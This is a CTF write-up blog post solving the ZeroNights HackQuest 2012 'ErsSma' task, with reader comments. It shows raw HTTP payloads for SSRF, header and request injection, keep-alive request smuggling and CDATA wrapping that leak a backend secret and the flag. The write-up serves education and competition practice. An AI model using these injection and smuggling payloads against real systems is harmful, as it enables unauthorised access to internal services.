ZeroNights HackQuest ErsSma Task Writeup

ErsSma task was one the most interesting puzzles at ZeroNights HackQuest, here is detailed solution.
We have a form with a single input:

POST /missions/ErsSma/index.php HTTP/1.0
Content-Type: multipart/form-data; boundary=--------336730954
Content-Length: 99

----------336730954
Content-Disposition: form-data; name="login"

admin
----------336730954--
->
Password is incorrect!

What do we do here? Fuzz all the things!

login: <admin>
->
Array
(
    [0] => LibXMLError Object
        (
            [level] => 3
            1 => 76
            [column] => 46
            [message] => Opening and ending tag mismatch: admin line 3 and error

            [file] =>
            [line] => 3
        )

Now we see that our input has been sent to a remote server (as indicated by "<!-- external host-based service -->" in the page source), got into XML-response and broke the syntax:

login: <![CDATA[ 
->
CData section not finished
 is incorrect username!</erro

The first thing that you will try in this case is XXE, but it was a false way. The right attack approach was SSRF:

login: admin&password=123 ->
Password is incorrect

We can inject in URL.

login: admin HTTP/1.0
a:
->
Password is incorrect

And even in the request packet! OK, let's try to spoof the response and make the app authorize us. Unluckily, we have an <error> starting tag, that prevents us from controlling the beginning of the XML-document, however using Range header we can ask web-server to return only a portion of data:

<auth>1</auth> HTTP/1.0
Range: bytes=7-21
a:

We don't see an error but nothing interesting happened either. What if we try to inject a second keep-alive packet?

<![CDATA[ HTTP/1.0 
Connection: keep-alive 

GET / HTTP/1.0 
Connection: keep-alive 
a: 
->
CData section not finished
 is incorrect username!</error>HTTP/1.1 200 OK

Hey, it works! Now it is possible to make requests to arbitrary resources in remote subnet, but we cannot read the responses (unfinished CDATA allows to read only few bytes). In fact, it is possible if we find a way to finish the error tag and put all the response data between CDATA. The first thing I tried was TRACE request that prints back the request packet:

TRACE / HTTP/1.0
A: </error>
->
HTTP/1.1 200 OK
Date: Mon, 05 Nov 2012 15:33:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
A: </error>

Really a nice way, but unfortunately the method was not allowed. However, there was another way: what we need is to make a request to the app from the remote side, exploiting the same SSRF. At this step a new problem arose: XML parser refused to return the result if there was extra content after <error>[OUR DATA]</error>. What is worse, Range header has no effect on POST requests in nginx. But what can we do? Just construct our XML-document starting with <html><body><error> instead of <error> so that it will be finished properly.

<html><body><error><![CDATA[ HTTP/1.0
Range: bytes=7-34
Connection: keep-alive

GET / HTTP/1.0
Connection: keep-alive

POST /missions/ErsSma/index.php HTTP/1.0
Range: bytes=10-40
Connection: keep-alive
Content-Length: 120
Content-Type: multipart/form-data; boundary=--------1100276574

----------1100276574
Content-Disposition: form-data; name="login"

]]><![CDATA[</error>]]>
->
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:50:54 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Content-Length: 31
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

secret data here: /?s3cr3t=tru3HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:50:54 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Connection: close
Content-Type: text/html

Yay! And finally, we make a request to /?s3cr3t=tru3:

HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:51:47 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Content-Length: 38
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

FLAG: fbc533ebad2f00ab31ffac40221d58c0HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:51:47 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Connection: close
Content-Type: text/html

Cheers to d0znpp for great task!


4 comments:

  1. Аноним, 5. Ноябрь 2012, 20:26

    great job 8)

     
  2. ONsec_lab, 5. Ноябрь 2012, 22:24

    Our solution:

    POST /missions/ErsSma/hq-zn-12-q-1-cli.php HTTP/1.1
    Host: hackquest.zeronights.org
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Content-Type: multipart/form-data; boundary=—————————168072824752491622650073
    Content-Length: 269

    ——————————168072824752491622650073
    Content-Disposition: form-data; name=»login»

    ——————————168072824752491622650073—

     
  3. ONsec_lab, 5. Ноябрь 2012, 22:36

    Payload:

     
  4. Raz0r, 5. Ноябрь 2012, 22:48

    pastebin please :)

     

Write a comment: